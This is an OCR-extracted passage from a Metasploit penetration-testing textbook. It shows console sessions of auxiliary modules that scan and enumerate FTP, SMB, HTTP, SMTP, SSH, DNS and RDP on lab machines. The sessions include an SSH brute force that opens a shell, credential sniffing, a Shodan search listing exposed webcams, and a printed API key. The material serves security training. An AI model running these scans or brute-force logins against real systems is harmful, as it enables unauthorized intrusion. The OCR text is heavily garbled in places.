FTPUSER anonymous no The username to authenticate as

RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port

THREADS 1 yes The number of concurrent threads

auxiliary( ) > set RHOSTS 192.168.44.129
STS => 192.168.44.129
) > run

192.168.44,.129:21 - 192.168.44.129:21 - Anonymous READ (220-FileZilla Server version 0.9.40 beta
-written by Tim Kosse (Tim.Kosse@gmx.de)
Please visit http://sourceforge.net/projects/filezilla/)
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary( I |

Server Message Block

Server Message Block (SMB) is an application layer protocol primarily used for sharing
files, printers, and so on. SMB uses TCP port 445 for communication.
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Let's go through some of the following SMB auxiliaries:

e : This auxiliary module probes the target to check which SMB version it's
running.

Its auxiliary module name is auxiliary/scanner/smb/smb_version, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

root@kali: ~ e ® 0
File Edit View Search Terminal Help

msf > use auxiliary/scanner/smb/smb version
msf auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS yes The number of concurrent threads

msf auxiliary( ) = set RHOSTS 192.168.44.129
RHOSTS => 192.168.44.129
msT auxiliary( ) > run

[*] 192.168.44.129:445 - Host is running Windows XP SP3 (language:English) (name:SAGAR-C51B4AADE) (dom
ain:WORKGROUP)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

e smb_enumusers: This auxiliary module connects to the target system via the
SMB RPC service and enumerates the users on the system.

Its auxiliary module name is auxiliary/scanner/smb/smb_enumusers,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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Once you have a list of users on the target system, you can start preparing
for password cracking attacks against these users.

We can see this auxiliary module in the following screenshot:

root@kali: ~ [ IO ~ ]

File Edit View Search Terminal Help

msf > use auxiliary/scanner/smb/smb_enumusers
msf auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb_enumusers):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS yes The number of concurrent threads

msf auxiliary( ) = set RHOSTS 102.168.44.133
RHOSTS => 192.168.44.133
msf auxiliary( ) = run

[*] 192.168.44.133:139 - METASPLOITABLE [ games, nobody, bind, proxy, syslog, user, www-data, root, news,
postgres, bin, mail, distced, proftpd, dhcp, daemon, sshd, man, lp, mysql, gnats, libuuid, backup, msfadmin,
telnetd, sys, klog, postfix, service, list, irc, ftp, tomcat55, sync, uucp ] ( LockoutTries=0 PasswordMin=5 )
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

¢ smb_enumshares: This auxiliary module enumerates SMB shares that are
available on the target system.

Its auxiliary module name is auxiliary/scanner/smb/smb_enumshares,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@Kkali: ~ e 0 0

File Edit View Search Terminal Help

msf > use auxiliary/scanner/smb/smb enumshares
msf auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb_enumshares)
Name Current Setting Required Description

LogSpider @ = disabled, 1 = C5V, 2 = table (txt), 3 = one liner (txt
) (Accepted: 0, 1, 2, 3)

MaxDepth 999 yes Max number of subdirectories to spider

RHOSTS yes The target address range or CIDR identifier

SMBDomain , no The Windows domain to use for authentication

SMBPass ] The password for the specified username

SMBUser no The username to authenticate as

ShowFiles false yes Show detailed information when spidering

SpiderProfiles  true no Spider only user profiles when share = C$

SpiderShares false ] Spider shares recursively

THREADS 1 yes The number of concurrent threads

USE_SRVSVC_ONLY false yes List shares only with SRVSVC

msf auxiliary( ) > set RHOSTS 192.168.44.129
RHOSTS 192.168.44.129
msf auxiliary( ) = run

192.168.44.129:139 - Login Failed: The SMB server did not reply to our request
192.168.44.129:445 - Windows XP Service Pack 3 (English)
192.168.44.129:445 - IPC$ - (IPC) Remote IPC
192.168.44.129:445 - SharedDocs - (DISK)
192.168.44.129:445 - 5 - (DISK)
192.168.44.129:445 - ADMIN$ - (DISK) Remote Admin
192.168.44.129:445 - C$ - (DISK) Default share
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary( ) > 1

Hypertext Transfer Protocol

HTTP is a stateless application layer protocol used for the exchange of information on the
World Wide Web. HTTP uses TCP port 80 for communication.
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Let's go through some of the following HTTP auxiliaries:

® http_version: This auxiliary module probes and retrieves the version of web
server running on the target system. It may also give information on what
operating system and web framework the target is running.

Its auxiliary module name is auxiliary/scanner/http/http_version,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

We can see this auxiliary module in the following screenshot:

root@kali: ~ e ® 0
File Edit View Search Terminal Help

msf = use auxiliary/scanner/http/http_version
mst auxiliary( ) > show options

Module options (auxiliary/scanner/http/http version):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

mst auxiliary( ) = set RHOSTS 192.168.44.133
RHOSTS 192.168.44.133
msf auxiliary( ) = run

HTTP GET: 192.168.44.131:36109-192.168.44.133:80 http://192.168.44.133/
192.168.44.133:80 Apache/2.2.8 (Ubuntu) DAV/2 { Powered by PHP/5.2.4-2ubuntu5.10 )
Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

auxiliary( I |

® backup_file: Sometimes, the developers and the application administrators
forget to remove backup files from the web server. This auxiliary module probes
the target web server for the presence of any such files that may be present since
the administrator might forget to remove them. Such files may give out
additional details about the target system and help in further compromise.
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Its auxiliary module name is auxiliary/scanner/http/backup_£file,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

We can see this auxiliary module in the following screenshot:

root@kali: ~ e ® O
File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/backup file

st auxiliary( ) = show options

Module options (auxiliary/scanner/http/backup file)

Name Current Setting Required Description
PATH /findex.asp The path/file to identify backups
Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS The target address range or CIDR identifier
RPORT 80 The target port
SSL false Negotiate SSL/TLS for outgoing connections
THREADS 1 The number of concurrent threads
HTTP server virtual host

) > set RHOSTS 192.168.44.133

) > run

[*] HTTP GET: 192.168.44.131:32875-192.168.44.133:80 http://192.168.44.133/index.asp.backup
[*] HTTP GET: 192.168.44.131:39393-192.168.44.133:80 http://192.168.44.133/index.asp.bak
[*] Found http://192.168.44.133:80/index.asp.bak

e dir_listing: Quite often the web server is misconfigured to display the list of
files contained in the root directory. The directory may contain files that are not
normally exposed through links on the website and leak out sensitive
information. This auxiliary module checks whether the target web server is
vulnerable to directory listing.

Its auxiliary module name is auxiliary/scanner/http/dir_listing,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
e PATH: Possible path to check for directory listing
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We can see this auxiliary module in the following screenshot:

root@kali: ~ e ® 0
File Edit View Search Terminal Help
msf > use auxiliary/scanner/http/dir listing
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/dir_listing)
Name Current Setting Required Description

PATH The path to identify directoy listing

Proxies ] A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

st auxiliary( ) set RHOSTS 192.168.44.133
STS => 192.168.44.133
auxiliary( ) > set PATH /dav/
fdav/
auxiliary( ) = run

HTTP GET: 192.168.44.131:43137-192.168.44.133:80 http://192.168.44.133/dav/
Found Directory Listing http://192.168.44.133:80/dav/

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > 1

¢ ssl: Though SSL certificates are very commonly used for encrypting data in
transit, they are often found to be either misconfigured or using weak
cryptography algorithms. This auxiliary module checks for possible weaknesses
in the SSL certificate installed on the target system.

Its auxiliary module name is auxiliary/scanner/http/ss1, and you will
have to configure the following parameters:

e RHOSTS: IP address or IP range of target to be scanned
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We can see this auxiliary module in the following screenshot:

root@Kkali: ~ @ ® 0
File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/ssl
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/ssl):
Name Current Setting Required Description
RHOSTS The target address range or CIDR identifier
RPORT 443 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary( ) > set RHOSTS demo.testfire.net

RHOSTS demo.testfire.net
msf auxiliary( ) > run

65.61.137.117:443 - Subject: /CN=demo.testfire.net

65.61.137.117:443 - Issuer: /CN=demo.testfire.net

65.61.137.117:443 - Signature Alg: shalWithRSA

65.61.137.117:443 - Public Key Size: 2048 bits

65.61.137.117:443 - Not Valid Before: 2014-087-81 09:54:37 UTC

65.61.137.117:443 - Not Valid After: 2019-12-22 09:54:37 UTC
.137.117:443 - Certificate contains no CA Issuers extension... possible self signed certificate
.137.117:443 - Certificate Subject and Issuer match... possible self signed certificate
.137.117:443 - Has common name demo.testfire.net

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > 1

1= i e i s i
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e http_header: Most web servers are not hardened for security. This results in
HTTP headers leaking out server and operating system version details. This
auxiliary module checks whether the target web server is giving out any version
information through HTTP headers.

Its auxiliary module name is auxiliary/scanner/http/http_header,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@kali: ~ e 0

File Edit View Search Terminal Help
msf > use auxiliary/scanner/http/http_header
msf auxiliary( ) > show opticns

Module options ( liary/scanner/http/http_header):
Name Current Setting Required Description

HTTP_METHOD HEAD HTTP Method to use, HEAD or GET (Accepted: GE|

T, HEAD)
IGN_HEADER  Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges yes List of headers to ignore, seperated by commal
no A proxy chain of format type:host:port[,type:

yes The target address range or CIDR identifier
RPORT 80 yes The target port
alse no Negotiate SSL/TLS for outgoing connections

SSL T
TARGETURI / yes The URI to use
1 yes The number of concurrent threads
no HTTP server virtual host

) > set RHOSTS 192.168.44.133
) > run

[*] 192.168 ¢ CONTENT-TYPE: text/html

[*] 192.168.44. H : SERVER: Apache/2.2.8 (Ubuntu) DAV/2
[*] 192.168.44.133: : X-POWERED-BY: PHP/5.2.4-2ubuntu5.10
[+] 192.168.44.133: : detected 3 headers

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( A |

® robots_txt: Most search engines work with help of bots that spider and crawl
the sites and index the pages. However, an administrator of a particular website
might not want a certain section of his website to be crawled by any of the search
bot. In this case, he uses the robots.txt file to tell the search bots to exclude
certain sections of the site while crawling. This auxiliary module probes the target
to check the presence of the robots. txt file. This file can often reveal a list of
sensitive files and folders present on the target system.

Its auxiliary module name is auxiliary/scanner/http/robots_txt, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@kali: ~ e 60 0O

File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/robots_txt
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/robots txt):

Name Current Setting Required Description

PATH The test path to find robots.txt file

Proxies no A proxy chain of format type:host:port[,type:host:port]]...
RHOSTS yes The target address range or CIDR identifier

RPORT yes The target port

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

xiliary( ) > set RHOSTS 192.168.44.133
S => 192.168.44.133
xiliary( ) > run

HTTP GET: 192.168.44.131:42205-192.168.44.133:80 http://192.168.44.133/robots.txt
[192.168.44.133] /robots.txt found

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > 1

Simple Mail Transfer Protocol

SMTP is used for sending and receiving emails. SMTP uses TCP port 25 for communication.
This auxiliary module probes the SMTP server on the target system for version and lists
users configured to use the SMTP service.

Its auxiliary module name is auxiliary/scanner/smtp/smtp_enum, and you will have to
configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
e USER_FILE: Path to the file containing a list of usernames
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We can see this auxiliary module in the following screenshot:

root@kali: ~ e ® 0

File Edit View Search Terminal Help

msf > use auxiliary/scanner/smtp/smtp_enum
msf auxiliary( ) = show options

Module options (auxiliary/scanner/smtp/smtp_enum):
Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier

RPORT yes The target port

THREADS 1 yes The number of concurrent threads

UNIXONLY  true yes Skip Microsoft bannered servers when testing uni
X users

USER_FILE /root/Desktop/metasploit-labs/usernames yes The file that contains a list of probable users
accounts.

) > set RHOSTS 192.168.44.133
2.168.44.133
) > run

[*] 192.168.44.133:25 - 192.168.44.133:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
[+] 192.168.44.133:25 - 192.168.44.133:25 Users found: user

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( I |

Secure Shell

SSH is commonly used for remote administration over an encrypted channel. SSH uses TCP
port 22 for communication.

Let's go through some of the SSH auxiliaries:

¢ ssh_enumusers: This auxiliary module probes the SSH server on the target
system to get a list of users (configured to work with SSH service) on the remote
system.

Its auxiliary module name is auxiliary/scanner/ssh/ssh_enumusers,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
e USER_FILE: Path to the file containing a list of usernames
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We can see this auxiliary module in the following screenshot:

root@kali: ~ [ I <]
File Edit View Search Terminal Help

msf > use liary/scanner/ssh/ssh_enumusers

st auxiliary( ) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[,type:host:port][ 1
RHOSTS The target address range or CIDR identifier

RPORT 22 The target port

THREADS 1 The number of concurrent threads

THRESHOLD 10 Amount of seconds needed before a user is considered found
USER_FILE File containing usernames, one per line

) > set RHOSTS 192.168.44.133

) > set USER_FILE Desktop/metasploit-labs/usernames
) > run

- Checking for false positives

- Starting scan

- User 'admin' not found

- User 'root' not found

- User 'msf' not found

- User 'msfadmin' not found

- User 'temp' not found

- User 'user' not found

- User 'anonymous' not found

- User 'john' not found

- User 'david' not found

- - User 'system user' not found

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary( I |

¢ ssh_login: This auxiliary module performs a brute-force attack on the target
SSH server.

Its auxiliary module name is auxiliary/scanner/ssh/ssh_login, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

e USERPASS_FILE: Path to the file containing a list of usernames
and passwords
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We can see this auxiliary module in the following screenshot:

root@kali: ~ [ I <]

File Edit View Search Terminal Help
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary( ) > show optiens

Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description

BLANK_PASSWORDS  false ry blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD msfadmin no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 22 yes The target port

STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads

USERNAME msfadmin no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

msf auxiliary( ) > set RHOSTS 192.168.44.133

RHOSTS 92.168.44.133

msf auxiliary ) > set USERPASS_FILE Desktop/metasploit-labs/ssh brute force
USERPASS FILE => Desktop/metasploit-labs/ssh brute force

msf auxiliary( ) = run

[*] SSH - Starting bruteforce
[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip).4
4(video),46(plugdev),107(fuse),111(1padmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13
:58:00 UTC 2008 1686 GNU/Linux '
[*] Command shell session 2 opened (192.168.44.131:36197 -> 192.168.44.133:22) at 2017-04-25 23:04:34 -0400

SSH - Failed: 'admin:admin'

SSH - Failed: 'root:rootl23

SSH - Failed: 'msf:msf@l23’

¢ ssh_version: This auxiliary module probes the target SSH server in order to
detect its version along with the version of the underlying operating system.

Its auxiliary module name is auxiliary/scanner/ssh/ssh_version, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@Kkali: ~ e 0 0

File Edit View Search Terminal Help

msf > use auxiliary/scanner/ssh/ssh version
msf auxiliary( ) > show options

Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
RHOSTS The target address range or CIDR identifier
RPORT 22 yes The target port

THREADS 1 yes The number of concurrent threads
TIMEQUT 30 yes Timeout for the SSH probe

msf auxiliary( ) > set RHOSTS 192.168.44.133
RHOST:! 192.168.44.133
msf auxiliary( ) = run

[*] 192.168.44.133:22 - S5H server version: S5SH-2.0-0OpenSSH 4.7pl Debian-8ubuntul ( service.version=4
.7pl openssh.comment=Debian-8ubuntul service.vendor=0penBSD service.family=0penSSH service.product=0penSs
H os.vendor=Ubuntu os.device=General os.family=Linux os.product=Linux os.version=8.04 )

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

e detect_kippo: Kippo is an SSH-based honeypot that is specially designed to
lure and trap potential attackers. This auxiliary module probes the target SSH
server in order to detect whether it's a real SSH server or just a Kippo honeypot.
If the target is detected running a Kippo honeypot, there's no point in wasting
time and effort in its further compromise.

Its auxiliary module name is auxiliary/scanner/ssh/detect_kippo,
and you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@kali: ~ e ® O

File Edit View Search Terminal Help

msf > use auxiliary/scanner/ssh/detect kippo
msf auxiliary( ) = show options

Module options (auxiliary/scanner/ssh/detect kippo):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads

xiliary( ) > set RHOSTS 192.168.44.133
TS 192.168.44.133
xiliary( ) = run

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary( ) =1

Domain Name System

Domain Name System (DNS) does a job of translating host names to corresponding IP
addresses. DNS normally works on UDP port 53 but can operate on TCP as well. This
auxiliary module can be used to extract name server and mail record information from the
target DNS server.

Its auxiliary module name is auxiliary/gather/dns_info, and you will have to
configure the following parameters:

e DOMAIN: Domain name of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@kali: ~ (IO I ]
File Edit View Search Terminal Help
msf > use auxiliary/gather/dns_info

*
It will be removed on or about 2016-06-12 *
Use auxil /gather/enum_dns instead

) > set DOMAIN mega
DOMAIN => megacorpone.com
msf auxiliary( ) > run

k 3 3

It will be removed on or about 2016-06-12
Use auxiliary/gather/enum dns instead
e e e e e S e e e
Enumerating megacorpone.com
, [2017-04-27T01:14:32.050187 #1626] WARN -- : Nameserver 192.168.44.2 not responding within UDP timeout, t
rying next one
[2017-04-27T01:14:32.050535 #1626] FATAL -- : No response from nameservers list: aborting
megacorpone.com - Name server nsl.mega le.com (. 1.193.70) found. Record type: NS
megacorpone.com - Name server ns3.mega 1.193.90) found. Record type: NS
megacorpone.com - Name server ns2.mega _ ne.com (. ).193.80) found. Record type: NS
megacorpone.com - nsl.mega ne.com (3 .193.70) found. Record type: SOA
megacorpone.com - Mail server mail.mega . 1e.com (3 .193.84) found. Record type: MX
megacorpone.com - Mail server mail2.mega  1e.com (3 .19 . found. Record type: MX

Remote Desktop Protocol

Remote Desktop protocol (RDP) is used to remotely connect to a Windows system. RDP
uses TCP port 3389 for communication. This auxiliary module checks whether the target
system is vulnerable for M512-020. MS12-020 is a vulnerability on Windows Remote
Desktop that allows an attacker to execute arbitrary code remotely. More information on

MS12-020 vulnerability can be found at https://technet.microsoft.com/en-us/library/
security/ms12-020.aspx.

Its auxiliary module name is auxiliary/scanner/rdp/ms12_020, you will have to
configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
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We can see this auxiliary module in the following screenshot:

root@kali; ~ e ® O
File Edit View Search Terminal Help

> use auxiliary/scanner/rdp/msl2_020_check
auxiliary( ) > show options

Module options (auxiliary/scanner/rdp/msl2_020 check):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier
RPORT yes Remote port running RDP
THREADS yes The number of concurrent threads

msf auxiliary( ) > set RHOSTS 192.168.44.129
RHOSTS => 192.168.44.129
msf auxiliary( ) = run

[+] 192.168.44.129:3389 - 192.168.44.129:3389 - The target is vulnerable.
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

Password sniffing

Password sniffing is a special type of auxiliary module that listens on the network interface
and looks for passwords sent over various protocols such as FTP, IMAP, POP3, and SMB. It
also provides an option to import previously dumped network traffic in . pcap format and

look for credentials within.
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Its auxiliary module name is auxiliary/sniffer/psnuffle, and it can be seen in the
following screenshot:

r ~

root@kali: ~ (O -]
File Edit View Search Terminal Help

xiliary( ) > run
Auxiliary module execution completed
auxiliary( ) =
Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
Loaded protocol POP3 from /fusr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
Loaded protocol SMB from /usr/share/metasploit-framework/data/ oits/psnuffle/smb.rb...
Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
Sniffing traffic.....
*+* auxiliary/sniffer/psnuffle is still calling the deprecated report auth_info method! This needs to

ated!

* For detailed information about LoginScanners and the Credentials objects see:
https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners
https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module

*+* For examples of modules converted to just report credentials without report auth_info, see:
https://github.com/rapid7/metasploit-framework/pull/5376
https://github.com/rapid7/metasploit-framework/pull/5377

Successful FTP Login: 192.168.44.131:49990-192.168.44.133:21 >> msfadmin / msfadmin

auxiliary( N |

(N == === =T = X K K K KK

B i Ei—i—

Advanced search with shodan

Shodan is an advanced search engine that is used to search for internet connected devices
such as webcams and SCADA systems. It can also be effectively used for searching
vulnerable systems. Interestingly, the Metasploit Framework has a capability to integrate
with Shodan to fire search queries right from msfconsole.

In order to integrate Shodan with the Metasploit Framework, you first need to register
yourself on https://www.shodan.io. Once registered, you can get the API key from the
Account Overview section shown as follows:

#% SHODAN ~ccour 25 WO

Account Overview

© settings

API Key Cj7C6MXQaljcMQXY3VNPpQnAEa309QCG
& Change Password i ! SELRLESEI J

Its auxiliary module name is auxiliary/gather/shodan_search, and this auxiliary
module connects to the Shodan search engine to fire search queries from msfconsole and
get the search results.
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You will have to configure the following parameters:

e SHODAN_APIKEY: The Shodan API key available to registered Shodan users
¢ QUERY: Keyword to be searched

You can run the shodan_search command to get the following result:

root@kali: ~ (- IO -
File Edit View Search Terminal Help

msf > use auxiliary/gather/shodan_search
msf auxiliary( ) > show options

Module options (auxiliary/gather/shodan_search):
Name Current Setting Required Description

DATABASE Add search results to the database

MAXPAGE 1 yes Max amount of pages to collect

OUTFILE no A filename to store the list of IPs

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
QUERY yes Keywords you want to search for

REGEX .* yes Regex search for a specific IP/City/Country/Hostname
SHODAN_APIKEY yes The SHODAN API key

SSL false no Negotiate SSL/TLS for outgoing connections

msf auxiliary( ) > set SHODAN_APIKEY Cj7C6MXQa@J]cMOXY3VnPpQnAEa3090QCG
SHODAN_APIKEY => (j7C6MXQa®]cMQXY3VnPpQnAEa309QCG
f a iary( ) > set QUERY Webcam

) > run

[*] Total: 3988 on 40 pages. Showing: 1 page(s)
[*] Collecting data, please wait...

Search Results

City Country Hostname

Fort Lee United States wrknj.fios.verizon.net
__.1881 Bedford United States 35.li¢"*-—--" ~—~~*—.sbcglobal.net
.199 °r re-nnnr Gyorzamoly Hungary .wave-nec.nu
g N/A

L20R un saice Serbia
e Suwon Korea, Republic of
Seoul Korea, Republic of

.02 . . Cebu Philippines
N/A llnitad Statac

Summary

In this chapter, we have seen how to use various auxiliary modules in the Metasploit
Framework for information gathering and enumeration. In the next chapter, we'll learn to
perform a detailed vulnerability assessment on our target systems.
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Exercises

You can try the following exercises:

e In addition to the auxiliary modules discussed in this chapter, try to explore and
execute the following auxiliary modules:

auxiliary/scanner/http/ssl_version
auxiliary/scanner/ssl/openssl_heartbleed
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/snmp/snmp_enumshares

auxiliary/scanner/snmp/snmp_enumusers

¢ Use the Shodan auxiliary module to find out various internet connected devices
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Vulnerability Hunting with
Metasploit

In the last chapter, you learned various techniques of information gathering and
enumeration. Now that we have gathered information about our target system, it's time to
check whether the target system is vulnerable and if we can exploit it in reality. In this
chapter, we will cover the following topics:

e Setting up the Metasploit database

Vulnerability scanning and exploiting

Performing NMAP and Nessus scans from within Metasploit
Using Metasploit auxiliaries for vulnerability detection

Auto-exploitation with db_autopwn

Exploring Metasploit’s post-exploitation capabilities

Managing the database

As we have seen so far, the Metasploit Framework is a tightly coupled collection of various
tools, utilities, and scripts that can be used to perform complex penetration testing tasks.
While performing such tasks, a lot of data is generated in some form or the other. From the
framework perspective, it is essential to store all data safely so that it can be reused
efficiently whenever required. By default, the Metasploit Framework uses PostgreSQL
database at the backend to store and retrieve all the required information.
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We will now see how to interact with the database to perform some trivial tasks and ensure
that the database is correctly set up before we begin with the penetration testing activities.

For the initial setup, we will use the following command to set up the database:

root@kali :~# service postgresql start

This command will initiate the PostgreSQL database service on Kali Linux. This is necessary
before we start with the msfconsole command:

root@kali :~# msfdb init

This command will initiate the Metasploit Framework database instance and is a one-time
activity:

root@Kkali: ~ e 60 O

File Edit View Search Terminal Help
:~# service postgresgl start
:~# msfdb init
A database appears to be already configured, skipping initialization

db_status: Once we have started the PostgreSQL service and initiated msfdb, we can then
get started with msfconsole:

msf> db_status

The db_status command will tell us whether the backend database has been successfully
initialized and connected with msfconsole:

root@kali: ~ [— O <]
File Edit View Search Terminal Help

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

=[ me 0it vd. ya A
1577 exploits - 987 auxiliary - 272 post

]
]
- - 455 payloads - 39 encoders - 8 nops |

--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

b status
ostgresgl connected to msf
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Work spaces

Let's assume you are working on multiple penetration testing assignments for various
clients simultaneously. You certainly don't want the data from different clients to mix
together. The ideal way would be to make logical compartments to store data for each
assignment. Workspaces in the Metasploit Framework help us achieve this goal.

The following table shows some of the common commands related to managing

workspaces:

Sr. no. | Command Purpose

1. workspace This lists all previously created workspaces within the
Metasploit Framework

2. workspace -h This lists help on all switches related to the workspace
command

3. workspace —a <name> | This creates a new workspace with a specified name

4, workspace -d <name> |This deletes the specified workspace

5. workspace <name> This switches the context of the workspace to the name
specified

The following screenshot shows the usage of the workspace command with various
switches:

File Edit View Search Terminal Help

workspace -a msf-test
dded workspace: msf-test

workspace

> workspace msf-test

Workspace: msf-test

> workspace -a temp
*] Added workspace: temp

st > workspace

default
msf-test

* temp

msf > workspace -d temp
[*] Deleted workspace: temp
[*] Switched workspace: default

root@kali: ~ e 6

[85]



Vulnerability Hunting with Metasploit Chapter 6

Importing scans

We already know how versatile the Metasploit Framework is and how well it integrates
with other tools. The Metasploit Framework offers a very useful feature to import scan
results from other tools such as NMAP and Nessus. The db_import command, as shown in
the following screenshot, can be used to import scans into the Metasploit Framework:

root@Kkali: ~ (I C R )

File Edit View Search Terminal Help

msf > db_import /root/Desktop/nmapscan.xml

[*] Importing 'Nmap XML' data

[*] Import: Parsing with 'Nokogiri v1.6.8'

[*] Importing host 192.168.44.129

[*] Successfully imported /root/Desktop/nmapscan.xml
msf > hosts

mac name 0S name os flavor

SP3 client

¢ The hosts command: It's quite possible that we have performed the NMAP scan
for the entire subnet and imported the scan in the Metasploit Framework
database. Now, we need to check which hosts were found alive during the scan.
The hosts command, as shown in the following screenshot, lists all the hosts
found during scans and imports:

root@Kkali: ~ e 0O

File Edit View Search Terminal Help
msf > hosts

Hosts

name

SP3 client
192.168.44.133 00:0c:29:19:1b:bl Linux 2.6.X server

mst > hosts -c address,os_flavor -5 Linux

192.168.44.133

S |
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e The services command: Once the NMAP scan results are imported into the
database, we can query the database to filter out services that we might be
interested in exploiting. The services command with appropriate parameters,
as shown in the following screenshot, queries the database and filters out
services:

root@Kali: ~ e ® 0
File Edit View Search Terminal Help
> services -c name,info 192.168.44.129

name info
netbios-ssn
microsoft-ds

icslap
ms-wht-server

-c name,info -S HTTP

name info

http

Backing up the database

Imagine you have worked for long hours on a complex penetration testing assignment
using the Metasploit Framework. Now, for some unfortunate reason, your Metasploit
instance crashes and fails to start. It would be very painful to rework from scratch on a new
Metasploit instance! This is where the backup option in the Metasploit Framework comes to
the rescue. The db_export command, as shown in the following screenshot, exports all
data within the database to an external XML file.
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You can then keep the exported XML file safe in case you need to restore the data later after
failure:

root@Kali: ~ e ® O

File Edit View Search Terminal Help

msf > db export -f xml /root/Desktop/msfdb backup
